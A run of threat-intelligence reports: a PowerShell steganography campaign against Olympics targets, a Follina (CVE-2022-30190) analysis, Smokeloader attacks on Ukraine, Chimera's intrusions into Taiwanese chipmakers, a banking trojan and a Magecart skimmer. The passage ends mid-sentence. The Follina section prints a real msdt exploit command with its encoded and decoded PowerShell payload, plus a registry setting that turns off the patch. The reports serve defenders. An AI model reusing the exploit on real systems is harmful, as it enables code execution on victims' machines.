email was sent to the target list. The email was sent from the IP address 43.249.39.152, in Singapore, on December 28 at 23:34. The attacker spoofed the message to appear to be from [email protected], which is the National Counter-Terrorism Center (NCTC) in South Korea. The timing is interesting because the NCTC was in the process of conducting physical antiterror drills in the region in preparation for the Olympic Games. The spoofed source of this email suggests the message is legitimate and increases the chances that victims will treat it as such. Based on our analysis of the email header, this message did not come from NCTC, rather from the attacker’s IP address in Singapore. The message was sent from a Postfix email server and originated from the hostname ospf1-apac-sg.stickyadstv.com. When the user opens the document, text in Korean tells the victim to enable content to allow the document to be opened in their version of Word. The malicious document launches a PowerShell script when the user clicks “Enable Content.” The document was created on December 27 at 15:52 by the author “John.” The script downloads and reads an image file from a remote location and carves out a hidden PowerShell implant script embedded within the image file to execute. The attackers used the open-source tool Invoke-PSImage, released December 20, to embed the PowerShell script into the image file. The steganography tool works by embedding the bytes of a script into the pixels of the image file, giving the attacker the ability to hide malicious PowerShell code in a visible image on a remote server. To verify the usage of steganography, we employed the tool StegExpose to check the file: the result confirms the presence of hidden data in our file. Once the script runs, it passes the decoded script from the image file to the Windows command line in a variable $x, which uses cmd.exe to execute the obfuscated script and run it via PowerShell. The extracted script is heavily disguised, using a combination of string-format operator obfuscation and other string-based obfuscation techniques. The attacker’s objective is to make analysis difficult and to evade detection technologies that rely on pattern matching. Because the obfuscation makes use of native functions in PowerShell, the script can run in an obfuscated state and work correctly. When we deobfuscate the control server URLs, the implant establishes a connection to the following site over SSL: hxxps://www.thlsystems.forst.cz:443/components/com_tags/views/login/process.php. Based on our analysis, this implant establishes an encrypted channel to the attacker’s server, likely giving the attacker the ability to execute commands on the victim’s machine and to install additional malware. Ultimately this PowerShell implant will be set to automatically start daily at 2 am via a scheduled task. During our research, we discovered a cached Apache server log for the IP address 81.31.47.101, which is shared hosting. This log contained information for the control server thlsystems.forst.cz, which showed an IP address from South Korea connecting to the specific URL paths contained in the PowerShell implants. This indicates that the implant was active in South Korea and targets were likely being infected. While investigating thlsystems.forst.cz we discovered that the webpage belongs to a legitimate entity, suggesting this is a compromised server being used as both an encrypted backchannel for the attacker and the distribution of implants. The server also hosts a copy of the obfuscated PowerShell implant. When investigating the IP address from the PowerShell implant 200.122.181.63, we found a server in Costa Rica that resolves to mafra.go.kr.jeojang.ga. The domain jeojang.ga was registered via Freenom, a free anonymous domain provider. It appears the attacker is using parts of a domain that belong to the South Korean Ministry of Agriculture and Forestry, which is in line with the attached document name in the email, but this domain has nothing to do with this government agency. A version of the malicious document from December 22 embedded the PowerShell implant directly into the Word document in the form of an HTA file. McAfee Advanced Threat Research analysts discovered another document that was hosted at this domain; its original title is 위험 경보 (전국야생조류 분변 고병원성 AI(H5N6형) 검출).docx, which also appears to come from the Ministry of Agriculture and Forestry. This document was created on December 22 by the same author, “John.” The document does not contain macros, rather OLE streams for the embedded HTA files. When the Korean-language docx icon is clicked, it launches the embedded HTA file Error733.hta. This file contains the same script code to launch the PowerShell implant as in the view.hta example. ## Conclusion The basic method in this case, an in-memory implant using PowerShell along with obfuscation to avoid detection, is a common and increasingly popular fileless technique used in cyberattacks. We have not previously seen this kind of attack targeting victims in South Korea. The use of the steganography tool shows how quickly the adversary has adapted to new tools. On December 20, the tool Invoke-PSImage was released to the public and within seven days was tested and deployed in a campaign targeting organizations involved in the 2018 Pyeongchang Olympics. With the upcoming Olympics, we expect to see an increase in cyberattacks using Olympics-related themes. In similar past cases, the victims were targeted for their passwords and financial information. In this case, the adversary is targeting the organizations involved in the Winter Olympics by using several techniques to make it more tempting to open the weaponized document: - Spoofed email address from South Korea’s National Counter-Terrorism Council - Use of Korean language - Asking users to open the content because the document is in protected mode - Partial use of the original South Korean Ministry of Agriculture and Forestry domain in a registered fake domain for malicious intent The Advanced Threat Research team has discovered an increase in the use of weaponized Word documents against South Korean targets in place of the traditional use of weaponized documents exploiting vulnerabilities in the Hangul word processor software. ## Indicators of compromise **SHA-1** - c388b693d10e2b84af52ab2c29eb9328e47c3c16 - 8ad0a56e3db1e2cd730031bdcae2dbba3f7aba9c **IPs** - 200.122.181.63 **Domains** - thlsystems.forst.cz - mafra.go.kr.jeojang.ga
# Follina, the Latest in a Long Chain of Microsoft Office Exploits Posted on 2022-06-23 by Pedram Amini ## History of Headlines Microsoft Office has been a long favorite delivery mechanism for malicious payloads, from pen-testers to nation-state threat actor groups, and for good reason. Widely adopted. Large attack surface. Robust legacy support. These traits have been the source of news headlines for decades. Looking back briefly, we have the Dynamic Data Exchange (DDE) of 2017, which spanned CVE IDs CVE-2017-8759, CVE-2017-11292, and CVE-2017-11826. A vulnerability so simple to exploit that a proof-of-concept could be made via point-and-click directly from within Office. This was a rough year for the Microsoft ecosystem as 2017 also carried the infamous CVE-2017-0199 and CVE-2017-11882 (Equation Editor) vulnerabilities, arguably the heaviest abused CVEs by malware in the years since. In 2019 we saw the rise of "macrosheets", a backward compatibility feature of Microsoft Office that provides support for macros from Excel 4.0, released in 1992. The "macrosheet" vector was quickly and widely adopted by malware distributors and it continued to be a favorite until this year. In 2021 we saw CVE-2021-40444, a Microsoft MSHTML vulnerability discovered being exploited in the wild. This brings us to 2022. On May 27th, @nao_sec Tweeted about a suspicious document pivoting through Microsoft's Support Diagnostic Tool via the 'ms-msdt' scheme. The timing of this in-the-wild discovery coincided with a US holiday, and over the weekend the vulnerability picked up the name "Follina". On May 31st, we saw an official acknowledgment from Microsoft and formalized on CVE-2022-30190. However, this isn't the beginning of this story. If we look further back we can find in-the-wild document carriers exploiting CVE-2022-30190 in mid-April: - April 8th, 2022: d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7 on InQuest Labs - April 12th, 2022: 710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bf on InQuest Labs The plot thickens even further when we consider that in August of 2020, Benjamin Altpeter published a bachelor thesis titled "An Analysis of the State of Electron Security in the Wild" which outlined this very issue with MSDT. The flaw is trivially exploitable and results in arbitrary code execution. As we've seen with similar vulnerabilities in the past, the simplicity and efficacy of this vulnerability lends itself to rapid adoption by malware authors. Fortunately, a patch is available as of June 14th and before the patch a simple mitigation could be applied to disable the 'ms-msdt' schema: ``` reg delete HKEY_CLASSES_ROOT\ms-msdt /f ``` This vulnerability has garnered more attention than any other CVE this year and rightfully so. It is highly recommended that defenders patch this issue immediately. APT actors such as TA413 and Sandworm have been seen leveraging this flaw to target Tibetan and Ukrainian assets, respectively. Microsoft identifies malware exploiting this vulnerability as "Mesdetty". ## A Deeper Look While additional vectors have been discovered via FoxIt Reader and even RTF via the preview pane, the initial samples began with a Microsoft Office document containing a remote object reference that pivots through the msdt.exe binary, as seen here: ``` "C:\WINDOWS\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+ [char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bc [char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO" ``` Note that the next stage of the payload is encoded in base64 above and shown here decoded: ``` $cmd = "c:\\windows\\system32\\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\\users\\public\\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe" ``` No buffers. No heap fills. No type-confusion. A simple path to executing arbitrary Powershell directives. Looking at the patch Microsoft released on June 14th, @80vul highlights the Regular Expression based command-line argument filtration in a Tweet. If history is to teach us a lesson, this approach will likely be insufficient as researchers or attackers tinker with ways of bypassing the filter. On a final interesting note, it is possible to disable this patch by setting the following key to a DWORD value of 1: ``` HKLM\SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics\TurnOffCheck ```
# Credit Card Fraud Investigation: State of Underground Card Shops in 2022 **20 May 2022** Beatriz Pimenta Klein and Lidia López Sanz, Threat Intelligence Analysts In our latest credit card fraud investigation blog, our threat intelligence analysts investigate the current card shop ecosystem, from active shops and the return of Rescator as well as other recently shuttered card shops and credit card fraud to look out for. # The State of Ransomware in 2022 **17 May 2022** Ransomware continues to be a prevalent threat to almost every modern industry after a sudden renaissance at the beginning of the COVID-19 pandemic as threat actors sought to capitalize on overwhelmed organizations and their suddenly vulnerable employees. # FTSE 100 Credential Theft Study 2022 **10 May 2022** Corporate credential theft is a targeted effort and makes FTSE 100 companies' credentials particularly attractive to cybercriminals with accelerated digital transformation (BYOD and hybrid working). Once an attacker gets hold of stolen user credentials and passwords, they can sell the credentials in the cybercrime underground or use them to compromise an organization’s network, bypassing security measures and threatening the credibility and integrity of the institution. # The Most Critical Vulnerabilities Right Now - April 2022 **02 May 2022** The first few months of 2022 have brought with them plenty of breaches and vulnerabilities for threat experts to sink their teeth into. Here's a roundup of the most critical vulnerabilities to date this year. # Dissecting Spring4Shell **31 March 2022** An RCE vulnerability affecting Spring Core’s JDK 9 and later has become a trending topic in cybersecurity networks during the past couple of days. This discovery, compared by some to the Log4Shell vulnerability, generated a lot of confusion and even got mistook with a different vulnerability affecting Spring Cloud, which got a CVE assigned the same day, and even linked them to completely unrelated commits on Spring Core’s GitHub. In this blog post, we will clarify what happened and what you can do to protect yourself. # Russian-Linked Malware Cyberattacks: What You Need to Know About Hermetic Wiper and Cyclops Blink **08 March 2022** Just days after Russia launched its invasion against the people of Ukraine, news reports emerged of several cyberattacks. Deployed systematically ahead of the land invasion, Russian cyberattacks against Ukraine have rendered Ukrainian banks, government departments, and other core services unavailable through the use of sophisticated ‘data wipers. # Using Mitre ATT&CK with Threat Intelligence to Improve Vulnerability Management **29 November 2021** Simon Roe, Product Manager Outpost24 Threat actors are constantly evolving their tactics and techniques in the attack lifecycle and infiltrate company infrastructure. While most organizations are already performing vulnerability management based on CVEs by MITRE, few have considered the powerful correlations between threat intelligence, CVEs, and the ATT&CK® framework. In this blog, we highlight the benefits of bringing them together to drive focused remediation and improve cyber defense. # The Most Critical Vulnerabilities Right Now – November 2021 **10 November 2021** # CVE-2021-41773 – Apache Web Server Path Traversal **07 October 2021** This past Monday, October 4th, Apache disclosed a vulnerability introduced on Apache HTTP Server 2.4.49 known as CVE-2021-41773. At the same time, update 2.4.50 was released, fixing this vulnerability. The vulnerability allows an attacker to bypass path traversal protections, using encoding, and read arbitrary files on the webserver’s file system. Both Linux and Windows servers running this version of Apache are affected. # Insights About All World Cards and the Published 1M Credit Cards **12 August 2021** “All World Cards” is a new underground card shop created at the end of May 2021. The card shop went quite unnoticed until it caught the attention of the cybercriminal underground and the cybersecurity industry on August 2, 2021, by making publicly available one million compromised cards totally free of charge. All World Cards has currently listed for sale more than 2.7 million compromised cards.
# Різке зростання кібератак на українські установи з використанням Smokeloader ## Резюме З травня цього року російські кіберзлочинці різко активізували використання шкідливого програмного забезпечення Smokeloader проти українських фінансових та урядових організацій. Smokeloader – це складний і багатофункціональний зразок шкідливого програмного забезпечення, який обирають зловмисники для проникнення і компрометації критично важливих інституцій. У цьому звіті представлено поглиблений аналіз еволюції тактик і стратегій, що застосовуються цими кіберзлочинцями, висвітлюючи їхні мотиви, методи та потенційний вплив. Якщо раніше українські організації здебільшого атакували спонсоровані державою російські APT угруповання, то зараз зростання кількості атак з використанням Smokeloader говорить про збільшення загрози від російських кіберзлочинних угруповань. ## Smokeloader Шкідливе програмне забезпечення Smokeloader як потужний інструмент з'явилося у даркнеті ще у 2011 році. Останнім часом зловмисники використовують його для атак на українські організації, адже він має широкий спектр функцій, що робить його цінним активом для зловмисників. Smokeloader непомітно проникає в систему, викрадає дані та надає віддалений доступ до скомпрометованої системи. Ціна цього шкідливого програмного забезпечення варіюється від 400 доларів США за базовий бот до 1650 доларів США за повний пакет з усіма доступними плагінами та функціями. З травня 2023 року російські кіберзлочинці використовують Smokeloader як основний інструмент для організації низки атак на українські об'єкти. Щомісяця вони запускають великі хвилі фішингових атак, маскуючи шкідливі електронні листи під фінансову тематику. Детальний аналіз їхньої мережевої інфраструктури виявив велику кількість російських реєстраторів доменів, таких як REGRU, REGTIME і RU-CENTER. Це говорить про те, що кіберзлочинці мають зв'язки з Росією. ## Оманлива тактика Нещодавні кампанії Smokeloader продемонстрували витонченість у своїх тактиках і методах, з акцентом на фінансовій тематиці. Зловмисні операції починаються з ретельно розроблених фішингових електронних листів, призначених для заманювання та обману жертв. Фінансові теми домінують у змісті, створюючи відчуття терміновості та актуальності для одержувачів. Однак основний пейлоад приховується у вкладенні – зазвичай в архівному файлі, інкапсульованому кілька разів. Всередині цього цифрового лабіринту знаходяться файли на фінансову тематику, які слугують приманкою. Жертви проходять через ці рівні шифрування, поки не досягнуть основного пейлоаду – Smokeloader. Слід зазначити, що ці кампанії мають характерні ознаки, які вказують на причетність російських кіберзлочинців. Орфографічні помилки та розбіжності в назвах українських документів у шкідливих вкладеннях свідчать про недостатнє знання мови. Під час запуску основного пейлоаду шкідливого програмного забезпечення жертви отримують легітимні фінансові документи, щоб зменшити підозри та надати їм більш правдивого вигляду. Ці легітимні документи були викрадені з раніше скомпрометованих організацій. Під час розгортання шкідливе програмне забезпечення Smokeloader виконує складні та приховані операції та починає встановлювати зв'язок із заздалегідь визначеним списком командно-контрольних серверів (C2). Цей список закодований у конфігурації шкідливого програмного забезпечення. ## Багатогранна функціональність Smokeloader, який давно присутній на даркнет форумах, починаючи з 2011 року, є багатофункціональним і прихованим шкідливим програмним забезпеченням. Він налічує величезний набір функцій для того, щоб запобігти його аналізу та виявленню. Методи антианалізу цього шкідливого програмного забезпечення включають низку функцій для захисту Smokeloader від спроб здійснити debugging, hooking та проаналізувати шкідливе програмне забезпечення у віртуальному середовищі експертами з кібербезпеки. Крім можливостей антианалізу, Smokeloader може отримувати важливу системну інформацію, таку як деталі операційної системи та географічні дані, пропонуючи зловмисникам цінну інформацію про середовище зараженої системи. Для подальшого розширення своїх можливостей Smokeloader використовує модульну конструкцію. Ці модулі дозволяють шкідливому програмному забезпеченню адаптуватися та розвиватися, пристосовуючи свої шкідливі операції до конкретних цілей зловмисників. | Module | Features | |------------------|--------------------------------------------------------------------------| | STEALER | Збирає облікові дані та файли cookie з різних програм (браузерів, поштових клієнтів, FTP). | | FORM GRABBER | Перехоплює POST-запити веббраузера до того, як вони пройдуть через шифрування. | | PASS SNIFFER | Перехоплює облікові дані найпоширеніших програм і протоколів (FTP, POP3, IMAP, SMTP). | | FAKE DNS | DNS Spoofing. Повертає неправильну IP-адресу для доменного імені за певним правилом. | | FILE SEARCH | Виконує пошук файлів і надсилає їх зловмисникам. | | PROCMON | Моніторинг і взаємодія з процесами. | | DDOS | Виконує DDoS-атаки. | | KEYLOGGER | Перехоплює натискання клавіш. | | REMOTE PC | Шпигує та керує віддаленим комп'ютером з функціями файлового менеджера. | | EMAIL GRABBER | Збирає адреси електронної пошти. | У деяких останніх випадках зловмисникам вдалося скомпрометувати процес грошових переказів, фактично перехопивши контроль над потоком транзакцій. Замість того, щоб кошти потрапляли за призначенням, зловмисники замінювали реквізити рахунків на свої власні. Це призвело до перенаправлення коштів організації на рахунки зловмисників. Такі випадки підкреслюють еволюцію тактики кіберзлочинців, які тепер не лише намагаються проникнути в мережі організацій, але й маніпулюють критично важливими фінансовими процесами для викрадення активів. ## Висновок Нещодавнє різке зростання атак Smokeloader, організованих російськими кіберзлочинцями проти українських організацій, підкреслює постійно зростаючий і диверсифікований характер кіберзагроз. Ці зловмисники не лише активізували свої операції, але й продемонстрували неабияку адаптивність у своїй тактиці, націлившись на фінансові операції. Таким чином, ландшафт загроз в Україні перетворився на багатогранну арену, де поряд зі спонсорованими державою російськими APT угрупованнями в боротьбу вступають фінансово вмотивовані кіберзлочинці. У світлі цих подій організаціям в Україні рекомендується зберігати пильність і діяти на випередження в питаннях кібербезпеки. Необхідно інвестувати в навчання персоналу, щоб підвищити обізнаність щодо фішингових електронних листів на фінансову тематику, які є основною точкою входу для атак Smokeloader. Захист кінцевих точок, налаштування систем виявлення вторгнень (IDS) для виявлення загроз у режимі реального часу, а також запровадження суворих обмежень на виконання скриптів і виконуваних файлів з архівів є важливими заходами для зміцнення захисту. Крім того, безперервний збір розвідданих про загрози та обмін ними для виявлення ознак компрометації через такі платформи, як MISP (Malware Information Sharing Platform), є критично важливими. Постійне інформування про нові загрози і тактики, які застосовують вороги, має першорядне значення для побудови стійкого захисту від загрози Smokeloader і пов'язаних з нею багатогранних викликів. У цьому динамічному середовищі проактивні та спільні зусилля з кібербезпеки є ключем до захисту цифрових кордонів України. ## Індикатори компрометації останньої кампанії | Type | Value | |----------|-----------------------------------------------------------------------| | domain | dublebomber.ru | | domain | yavasponimayu.ru | | domain | nomnetozhedenyuzhkanuzhna.ru | | domain | prostosmeritesya.ru | | domain | ipoluchayteudovolstvie.ru | | domain | super777bomba.ru | | domain | specnaznachenie.ru | | domain | zakrylki809.ru | | domain | propertyminsk.by | | domain | iloveua.ir | | domain | moyabelorussiya.by | | domain | tvoyaradostetoya.ru | | domain | zasadacafe.by | | domain | restmantra.by | | domain | kozachok777.ru | | domain | propertyiran.ir | | domain | sakentoshi.ru | | domain | popuasyfromua.ru | | domain | diplombar.by | | domain | ukr-net-download-files-php-name.ru | | ip-address| 85.143.172.45 | | sha256 | fdf8a89e8c90ed0653780acc77c180185b8971e62d2a02dcaabcfc456d05bd96 | | sha256 | 493f708129bf25ff4bb734c179d336f223d9d21ea53b7e5e52f9535a72415bfd | | sha256 | 6999f5f3c6824f27b5a1fb436c59d369f6f1ec08365d48cd1c8d21d1058eaafc | | sha256 | 9a528b2b31d9d59018878fdf3b9d8db235df606500c67a4b8be3075701b014fc | | sha256 | d895f40a994cb90416881b88fadd2de5af165eec1cd41b0ddd08fa1d6b3262bb | | sha256 | 2c44c9b445d2efc2f46e463d933da2ffc1d3ba6718bd67d3957c3f916b7c79fe | | sha256 | 41b74077e7707dfce2752668a3201e3bc596ade5594535c266e3249c2e697cb2 | | sha256 | 40c9bc7186f21b6e2a7da28632e70d9b9bce01cc63c692d4383ac03e13e45533 | | sha256 | ac1aedd7d08d3e92ded28d07944d8a8039650a36dec8b4a5d7b675ce2c5512c4 | | sha256 | ebbf474d69519b7ded60c1dab807dab492c33d9caf76e6495c2ee92be573011e | | sha256 | 739e735aa73cfdbfc08c696e0426434aa78139110b416313d2a39d93915ee318 | | sha256 | 0f93344347469ebef7b0d6768f6f50928b8e6df7bc84a4293b7c4a7bb5b98072 | | sha256 | 7d7262ab5298abd0e91b6831e37ef0156ded4fdceeaf8f8841c9a80d31f33f8e | | sha256 | b24c99ca816f7ac8ca87a352ed4f44be9d8a21519dd1f408739da958b580be0c | | sha256 | cfc44f1399e3d28e55c32bcc73539358e5ac88c0d6a19188a52b161b506bea91 | | sha256 | a8a3130c779904e23b50d69b4e73a714b345e296feebb9f64a732d5c73e7973b | | sha256 | 0a83fcb0b40f35bf6020ad35cedf56b72a6f650a46dc781b2ea1c9647e0f76cc | | filename | 1.Рахунок_до_акту_НП-010140544_від_30.09.2023_01102023223751.XLS.js | | filename | 2.Актив_звірки_від_03.10.2023_Рах_UA493077700000026002711166194.XLS.js | | filename | 3.Витяг_з_реєстру_від_03.10.2023_Рах_UA493077700000026002711166194.XLS.js | | filename | mstsc.exe | | filename | Список_документів_для_ознак омлення.pdf | | filename | Список_документів_для_ознайомлення.zip | | filename | Список_документів_для_ознайомлення.zip | | filename | лист.pdf | | filename | 2.Актив_звірки_від_03.10.2023_Рах_UA493077700000026002711166194.XLS.js | | filename | mstsc.exe | | filename | лист.zip | | filename | ЗАЯВА.xlsx | | filename | Рахунок_до_оплати_389.zip | | filename | Рахунок_до_оплати_389.pdf | | filename | Рахунок_до_оплати_389.exe | | filename | pax_389.exe | | filename | Рахунок_до_оплати_389.zip |
# Chinese Hackers Have Pillaged Taiwan's Semiconductor Industry Taiwan has faced existential conflict with China for its entire existence and has been targeted by China's state-sponsored hackers for years. An investigation by one Taiwanese security firm has revealed just how deeply a single group of Chinese hackers was able to penetrate an industry at the core of the Taiwanese economy, pillaging practically its entire semiconductor industry. At the Black Hat security conference, researchers from the Taiwanese cybersecurity firm CyCraft presented new details of a hacking campaign that compromised at least seven Taiwanese chip firms over the past two years. The series of deep intrusions—called Operation Skeleton Key due to the attackers' use of a "skeleton key injector" technique—appeared aimed at stealing as much intellectual property as possible, including source code, software development kits, and chip designs. CyCraft has previously given this group of hackers the name Chimera, and the company's new findings include evidence that ties them to mainland China and loosely links them to the notorious Chinese state-sponsored hacker group Winnti, also sometimes known as Barium or Axiom. "This is very much a state-based attack trying to manipulate Taiwan's standing and power," says Chad Duffy, one of the CyCraft researchers. The sort of wholesale theft of intellectual property CyCraft observed "fundamentally damages a corporation's entire ability to do business," adds Chung-Kuan Chen, another CyCraft researcher. "It's a strategic attack on the entire industry." ## Skeleton Key The CyCraft researchers declined to tell WIRED the names of any victim companies. Some were CyCraft customers, while the firm analyzed other intrusions in cooperation with an investigative group known as the Forum of Incident Response and Security Teams. Several of the semiconductor company victims were headquartered at the Hsinchu Industrial Park, a technology hub in the Northwest Taiwanese city of Hsinchu. The researchers found that in at least some cases, the hackers appeared to gain initial access to victim networks by compromising virtual private networks, though it wasn't clear if they obtained credentials for that VPN access or if they directly exploited vulnerabilities in the VPN servers. The hackers then typically used a customized version of the penetration testing tool Cobalt Strike, disguising the malware they planted by giving it the same name as a Google Chrome update file. They also used a command-and-control server hosted on Google's or Microsoft's cloud services, making its communications harder to detect as anomalous. From their initial access points, the hackers would attempt to move to other machines on the network by accessing databases of passwords protected with cryptographic hashing and attempting to crack them. Whenever possible, CyCraft's analysts say, the hackers used stolen credentials and legitimate features available to users to move through the network and gain further access, rather than infect machines with malware that might reveal their fingerprints. The most distinctive tactic that CyCraft found the hackers using repeatedly in victim networks was a technique to manipulate domain controllers, the powerful servers that set the rules for access in large networks. With a custom-built program that combined code from the common hacking tools Dumpert and Mimikatz, the hackers would add a new, additional password for every user in the domain controller's memory—the same one for each user—a trick known as skeleton key injection. With that new password, the hackers would have surreptitious access to machines across the company. "It's like a skeleton key that lets them go anywhere," Duffy says. ## China Ties CyCraft quietly published most of these findings about Operation Skeleton Key in April of this year. But in its Black Hat talk, it plans to add several new findings that help to tie the hacking campaign to mainland China. Perhaps the most remarkable of those new clues came from essentially hacking the hackers. CyCraft researchers observed the Chimera group exfiltrating data from a victim's network and were able to intercept an authentication token from their communications to a command-and-control server. Using that same token, CyCraft's analysts were able to browse the contents of the cloud server, which included what they describe as a "cheat sheet" for the hackers, outlining their standard operating procedure for typical intrusions. That document was notably written in simplified Chinese characters, used in mainland China but not Taiwan. The hackers also appeared to operate largely within Beijing's time zone, to follow a "996" work schedule—the 9am to 9pm, six-days-a-week regimen common in the Chinese tech industry—and to take off Mainland Chinese holidays. Finally, CyCraft says they've learned from their cooperation with Taiwanese and foreign intelligence agencies that a hacker group using similar techniques also targeted Taiwanese government agencies. Most specifically revealing, though, was the presence of one backdoor program on multiple victims' networks that CyCraft says was previously used by the Winnti group, a large collection of hackers who have operated for over a decade and who are widely believed to be based in mainland China. In recent years, Winnti has become known for carrying out a mix of what appears to be state-sponsored hacking aligned with China's interests and for-profit criminal hacking, often targeting videogame firms. In 2015, Symantec found that Winnti also appeared to be using skeleton key injection attacks like the kind CyCraft found used against the Taiwanese semiconductor companies. CyCraft notes that it's still not certain that Chimera is in fact Winnti, but considers it a likely possibility. Kaspersky, which first spotted and named the Winnti group in an investigation published in 2013, last year linked the group to an attack that hijacked the update mechanism for computers sold by Taiwan-based Asus. Costin Raiu, the director of Kaspersky's Global Research & Analysis Team, says Winnti is responsible for other attacks on a broad range of Taiwanese companies beyond the semiconductor makers CyCraft has focused on, from telecoms to tech firms. "It's possible that what they’re seeing is just a small fragment of a larger picture," Raiu says. Winnti isn't unique among China-linked groups in their widespread targeting of Taiwan, Raiu adds. But he says Winnti's innovative tactics, like the hijacking of Asus's software updates, set them apart. Even amidst China's wholesale hacking of its island neighbor, though, CyCraft's Duffy argues that the semiconductor industry represents a particularly dangerous target. Stealing chip schematics, he points out, could potentially allow Chinese hackers to more easily dig up vulnerabilities hidden in computing hardware. "If you have a really deep understanding of these chips at a schematic level, you can run all sorts of simulated attacks on them and find vulnerabilities before they even get released," Duffy says. "By the time the devices hit the market, they're already compromised." CyCraft concedes it can't determine what the hackers are doing with the stolen chip design documents and code. The more likely motivation of the hacking campaign is simply to give China's own semiconductor makers a leg up over their rivals. "This is a way to cripple a part of Taiwan's economy, to hurt their long-term viability," Duffy says. "If you look at the scope of this attack, pretty much the entire industry, up and down the supply chain, it seems like it's about trying to shift the power relationship there. If all the intellectual property is in China's hands, they have a lot more power."
# Trojan Banking April 15, 2014 Two days ago I blogged about the approach I used to start analyzing the malware, today I spent some more time on the target trying to get an idea of its behaviors. According to VirusTotal, the file has a 21/51 revelation rate; it was 6/51 six days ago. It has been designed for the Asian part of the world and, among all the malicious features, I noted an interesting data exchange between the infected machine and a server behind 192.74.241.104/192.74.241.105 addresses. ## From server to infected machine File plus.php is saved inside the infected machine. Wireshark marks the new file as an “application/zip” file, and I have to admit that at a first glance I thought the same thing: I was wrong, the file is not a valid archive. To better understand what kind of file this is, I put my hands on a debugger. All the bytes starting from offset 0x68 are decrypted by a simple piece of code: ``` 10007F10 decrypt_part_of_the_downloaded_file: 10007F10 mov eax, ecx 10007F12 push 2 10007F14 cdq 10007F15 pop edi 10007F16 idiv edi 10007F18 test edx, edx 10007F1A jz short loc_10007F22 10007F1C add byte ptr [ecx+esi], 3Ah 10007F20 jmp short loc_10007F26 10007F22 add byte ptr [ecx+esi], 4Bh 10007F26 inc ecx 10007F27 cmp ecx, [ebp+var_4] 10007F2A jl short decrypt_part_of_the_downloaded_file ``` It’s basically decrypted by an add operation, but the result is something I didn’t expect. Here is a small part of the entire file: The file is moved under “C:\Windows\System32\drivers\etc” directory with the new name hosts.ics. It seems to be the same list described inside three articles by Nshc Security. You can find the mentioned PDF report files inside the Red Alert Reports section: - Internet Bank Pharming – BlackMoon - Internet Bank Pharming with CVE-2013-3897 - Internet Banking Malware The malware I’m checking has a lot of common things with the samples used to write the reports: it deletes antivirus exe related files, uses a link file to run the malware at startup, creates the hosts.ics file, and steals certificates searching for NPKI folders, sending them to a specific server in an encrypted format. On the other hand, the infection has slightly changed: the DLL file runs from rundll32 camouflaged into ctfmon.exe and not csrss.exe, the start link has a different name V2LiteExp (the name comes from AhnLab V3 Internet Security suite), and the plus.php file is available in the recent samples only. Little things, of course, but these are relevant in the removal process. ## From infected machine to server A series of bytes are sent away; what’s behind this obscure sequence? Again, a simple XOR encryption is used to hide the real information to send. The message in clear view contains some strings revealing info about the infected machine and the infection itself: - Processor type: “Intel(R) Core(TM) i7-3770K CPU @ 3.50GHz” - Physical free memory: “3584 MB” - Running OS: “Win XP SP2” - Date of infection: “20140415” - Location of hosts file: “http://192.74.241.104:805/plus.php” These information are sent following a precise timeline. 192.74.241.104 and 192.74.241.105 are under “PEG TECH INC” organization. There are many spam-related complaints around the web from this organization; pay attention to 192.74.241.96/192.74.241.111 range addresses. To end this post, look at the advice of a company named PegTech.
# Magecart Card Skimmers Injected Into Online Shops We discovered that the online credit card skimming attack known as Magecart or E-Skimming was actively operating on 3,126 online shops. Our data shows that the attack started on September 7, 2019. All of the impacted online shops are hosted on the cloud platform of the e-commerce service provider “Volusion,” one of the top e-commerce platforms in the market. This is actually the third time we have identified a card skimmer injected into the cloud platform of an e-commerce provider. Two other businesses were already victimized this year: a campus e-commerce platform and a hotel e-commerce platform. These targets are obviously appealing to cybercriminals since they are connected to multiple — in this most recent case, thousands of — online shops. We found malicious code injected into a JavaScript library provided by Volusion to their client shops. The injected code loaded another JavaScript stored on a Google Storage service. The loaded script is almost a direct copy of a normal JavaScript library but has a credit card skimmer carefully integrated. When customers submit their payment information, the skimmer will copy and send the personal information and credit card details to an exfiltration server belonging to the attackers. Our team contacted Google and they have removed the file. The attack is currently offline. As of publication, Volusion has acknowledged and fixed the issue. During our investigation, we found that the attackers seemed more experienced and thoughtful than many other skimmer groups. They did not simply add their malicious code at the top or end of a script; instead, they carefully integrated the code into the original script to be part of the execution flow of the program. The code was also written as simply as possible, making it difficult to be identified in a big library. Furthermore, they registered the domain of their exfiltration server in a similar style to a legitimate Volusion domain. Considering the modus operandi, we believe the attackers are from Magecart Group 6, which has also been identified as the notorious threat actor FIN6. We found similarities in the code used in this attack and the code used in FIN6’s previous attacks on British Airways and Newegg. ## Analysis of the Code Injection The attackers injected their code into a library provided on Volusion’s e-commerce platform for their client shops. The script, described by the comments on the library, includes the necessary code for the pop-out feature of the shop’s navigation menu. It was also used on the shop checkout page. The script is located at: `hxxps://[online shop domain]/a/j/vnav.js` The attackers didn’t just inject their code inside the library. They also integrated their code into the original function of jQueryUI code to be executed with the original execution flow. They created a new object “e.widget.unbridge” right before the original object “e.widget.bridge” and the malicious code is inside the new object. It’s worth noting that the attackers even wrote their malicious code in a similar coding style to make it look more like a part of the original source code. The injected object will create a new script element to load another remote script stored on Google Storage. ## Analysis of the Credit Card Skimmer The loaded remote script is on Google Storage: `hxxps[:]//storage[.]googleapis[.]com/volusionapi/resources.js` Much of the code inside the script is from the library “js-cookie” version 2.2.1. However, the attackers modified it and integrated a credit card skimmer into the original script. The skimmer binds at the events 